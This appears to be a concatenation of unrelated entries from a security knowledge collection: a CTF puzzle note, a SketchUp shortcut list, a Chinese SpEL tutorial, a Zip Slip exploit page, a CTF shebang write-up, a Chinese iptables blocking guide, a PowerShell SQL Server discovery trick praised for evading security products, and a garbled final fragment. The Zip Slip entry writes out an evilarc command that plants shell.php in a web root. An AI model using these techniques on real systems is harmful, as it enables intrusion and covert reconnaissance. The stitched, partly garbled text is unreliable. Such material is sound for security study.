We need to understand when it's impossible that the sum of the K tosses will be larger than `3^k`.
```python
>>> for k in itertools.count(1):
... if ( (k * 8) < (3 ** k)):
... print(k)
... break
...
3
```
So when `k >= 3`, there's no chance that the neuron will be dropped. That gives us `k = {1, 2}`. Therefore, the answer should be `2`. For some reason, at first the accepted answer was `0`, and this was later fixed.
|
sec-knowleage
|
---
title: SketchUp Pro
date: 2022-11-23 16:23:31.693091
background: bg-[#265a94]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 135 default keyboard shortcuts found in SketchUp Pro
---
Keyboard Shortcuts {.cols-2}
------------------
### General I
Shortcut | Action
---|---
`A` | 2 point arc tool
`C` | Circle tool
`Shift` `C` | Circle tool - lock current inferences
`E` | Eraser tool
`Alt` `E` | Eraser tool - soften or smooth (use on edges to make adjacent faces appear curved)
`Shift` `E` | Eraser tool - hide
`Alt` `Shift` `E` | Eraser tool - unsoften or unsmooth
`L` | Line tool
`Shift` `L` | Line tool - lock in current inference direction
`(arrows)` `L` | Line tool - lock direction
`M` | Move tool
`Alt` `M` | Move tool - move a copy
`Shift` `M` | Move tool - hold down to lock in current inference direction
`Ctrl` `M` | Move tool - auto-fold (allow move even if it means adding extra edges and faces)
`(arrows)` `M` | Move tool - lock direction
`F` | Offset tool
`O` | Orbit tool
`Alt` `O` | Orbit tool - disable 'gravity-weighted' orbiting
`Shift` `O` | Orbit tool - activate pan tool
`B` | Paint bucket tool
`Alt` `B` | Paint bucket tool - fill material, paint all matching adjacent faces
`Shift` `B` | Paint bucket tool - replace material, paint all matching faces in the model
{.shortcuts}
### General II
Shortcut | Action
---|---
`Shift` `B` | Paint bucket tool - replace material, paint all matching faces in the model
`Alt` `Shift` `B` | Paint bucket tool - replace material on object, paint all matching faces on the same object
`Ctrl` `B` | Paint bucket tool - sample material
`P` | Push and pull tool
`Alt` `P` | Push and pull tool - push or pull a copy of the face, leaving original in place
`R` | Rectangle tool
`Alt` `R` | Rectangle tool - start drawing from center
`Q` | Rotate tool
`Alt` `Q` | Rotate tool - rotate a copy
`S` | Scale tool
`Alt` `S` | Scale tool - scale about center
`Shift` `S` | Scale tool - scale uniformly, don't distort
`Space` | Select tool
`Alt` `Space` | Select tool - add to selection
`Shift` | Select tool - add or subtract from selection
`Alt` `Shift` `Space` | Select tool - subtract from selection
`T` | Tape measure tool
`Alt` `T` | Tape measure tool - toggle create guide or measure only
`(arrows)` `T` | Tape measure tool - lock direction
`Z` | Zoom tool
`Shift` `Z` | Zoom tool - combine with click-drag mouse to change field of view
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for SketchUp](https://help.sketchup.com/en/sketchup/getting-started-sketchup#qrc) _(help.sketchup.com)_
|
sec-knowleage
|
# SpEL
---
## SpEL简介
在 Spring 3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。
在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。
SpEL 有许多特性:
- 使用 Bean 的 ID 来引用 Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
## SpEL 定界符——#{}
SpEL 使用 `#{}` 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 bean 及其属性和方法等。
这里需要注意 `#{}` 和 `${}` 的区别:
- `#{}` 就是 SpEL 的定界符,用于指明内容未 SpEL 表达式并执行;
- `${}` 主要用于加载外部属性文件中的值;
两者可以混合使用,但是必须 `#{}` 在外面,`${}` 在里面,如 `#{'${}'}`,注意单引号是字符串类型才添加的;
## SpEL 表达式类型
### 字面值
最简单的 SpEL 表达式就是仅包含一个字面值。
下面我们在 XML 配置文件中使用 SpEL 设置类属性的值为字面值,此时需要用到 `#{}` 定界符,注意若是指定为字符串的话需要添加单引号括起来:
```xml
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'test'}"/>
```
还可以直接与字符串混用:
```xml
<property name="message" value="the value is #{666}"/>
```
Java 基本数据类型都可以出现在 SpEL 表达式中,表达式中的数字也可以使用科学计数法:
```xml
<property name="salary" value="#{1e4}"/>
```
Demo
```java
// HelloWorld.java
package com.test;
public class HelloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage(){
System.out.println("Your Message : " + message);
}
}
```
```java
// MainApp.java
package com.test;
import com.test.service.AccountService;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
}
```
Beans.xml
```xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.test.HelloWorld">
<property name="message" value="#{'test'} is #{666}" />
</bean>
</beans>
```
运行输出:
```
Your Message : test is 666
```
|
sec-knowleage
|
# Zip Slip
> The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine.
## Summary
* [Detection](#detection)
* [Tools](#tools)
* [Exploits](#exploits)
* [Basic Exploit](#basic-exploit)
* [Additional Notes](#additional-notes)
## Detection
- Any zip upload page on the application
## Tools
- [evilarc](https://github.com/ptoomey3/evilarc)
- [slipit](https://github.com/usdAG/slipit)
## Exploits
### Basic Exploit
Using evilarc:
```python
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
```
### Additional Notes
- For affected libraries and projects, visit https://github.com/snyk/zip-slip-vulnerability
## References
- [Zip Slip Vulnerability - Snyk Ltd, 2019](https://snyk.io/research/zip-slip-vulnerability)
- [Zip Slip - snyk, 2019](https://github.com/snyk/zip-slip-vulnerability)
|
sec-knowleage
|
# Tiny elves (misc, 50+2p, 59 solved)
In the challenge we get a [source code](tiny_elves_fake.py) running on the server.
The code is quite simple:
```python
#!/usr/bin/python3
import os, tempfile, subprocess
try:
data = input(">").strip()
if len(data) > 12: raise Exception("too large")
with tempfile.TemporaryDirectory() as dirname:
name = os.path.join(dirname, "user")
with open(name, "w") as f: f.write(data)
os.chmod(name, 0o500)
print(subprocess.check_output(name))
except Exception as e:
print("FAIL:", e)
exit(1)
```
The application reads up to 12 bytes from us, then saves them to a file and executes this file.
Obviously we can't make a real ELF file in 12 bytes, but there is another "type" of files that linux can execute, and there is no actual check if we provided ELF file.
The obvious idea is to use shebang to run some commands.
For example we can send `#!/bin/ls .` and this would list files in CWD for us.
There are two issues here:
- The flag file is `flag.txt` which is 8 bytes long name, so we definitely can't directly use this name in the command.
- No shell expansion tricks will work, so no wildcards like `*` or `?` will help us.
This leads us to the conclusion that we need to run a command which can take additional input from stdin.
Obvious candidates would be `vi`, `ed` or `ex` but the paths are too long.
Finally we found in the manual that `sh` has parmeter `-s` which does exactly what we need - reads input from stdin.
So we can send `#!/bin/sh -s` and then proceed with `cat flag`.
One last trick was that there was no echo until we close the subshell.
The flag was: `hxp{#!_FTW__0k,_tH4t's_tO0_3aZy_4U!}`
|
sec-knowleage
|
# iptables实现waf
iptables工作在主机层面,对于进出的网络或者主机的数据报文,根据事先设定好的检查规则对其检查,并作出相应的处理。
## iptables实现waf
### iptables拦截ip
```
# 拦截ip
iptables -A INPUT -p tcp --dport 80 -s 192.168.199.1 -j DROP
# 删除拦截
iptables -D INPUT -p tcp --dport 80 -s 192.168.199.1 -j DROP
```
### 利用ipset进行批量IP拦截
```
# 创建ip集
ipset create bloodzer0 hash:ip
# 查看ip集
ipset list
# 添加成员
ipset add bloodzer0 ip
# 删除成员
ipset del bloodzer0 ip
# 将ipset保存为文件
ipset save bloodzer0 -f bloodzer0.txt
# iptables与ipset结合
iptables -A INPUT -m set --match-set bloodzer0 src -p tcp --dport 80 -j DROP
```
### 问题思考
iptables封禁IP,是封禁的直连IP,也就是直接与服务器通信的IP。但是我们一般的网络架构是:CDN--SLB--Server或者CDN--Server,这个时候我们使用上面的方式就失效了,所以我们采用新的方式:根据XFF来封禁IP。
### 根据XFF+iptables封禁IP
```
iptables -A INPUT -p tcp --dport 80 -m string --algo kmp --string "X-Forwarded-For: IP" -j DROP
```
**备注:XFF很好伪造绕过。**
## 踩坑记
### XFF+iptables实现waf性能瓶颈
这种方式就不能使用ipset,所以如果是业务量很大的时候,不建议采用这种方式,因为一个IP一条规则,而iptables会针对INPUT每一个数据包进行解析判断。
我测试过一台2核16G的服务器,在规则数量达到2300+的时候,QPS稍微一大,服务器CPU容易飙到90%以上。
## 参考资料
|
sec-knowleage
|
从 xp 开始默认有 .net framework,在 powershell 后,调用起来更方便。
### 连载1
System.Data.SqlClient 命名空间是用于 SQL Server 的 .NET 数据提供程序。在net framework2.0中新增加SqlDataSourceEnumerator 类。提供了一种枚举本地网络内的所有可用 SQL Server 实例机制。微软官方是这样解释的:
> SQL Server 2000 和 SQL Server 2005 进行应用程序可以确定在当前网络中的 SQL Server实例存在。SqlDataSourceEnumerator类公开给应用程序开发人员,提供此信息DataTable包含所有可用的服务器的信息。返回此表列出了与列表匹配提供当用户尝试创建新的连接的服务器实例以及Connection Properties对话框中,展开下拉列表,其中包含所有可用的服务器。
```bash
PowerShell -Command
"[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()"
```


此种方法,在实战中,不留文件痕迹。并且信息准确,发现主机也可。可应对目前主流安全防御产品。
> Micropoor
|
sec-knowleage
|
# S L M a i l nQHhO
< |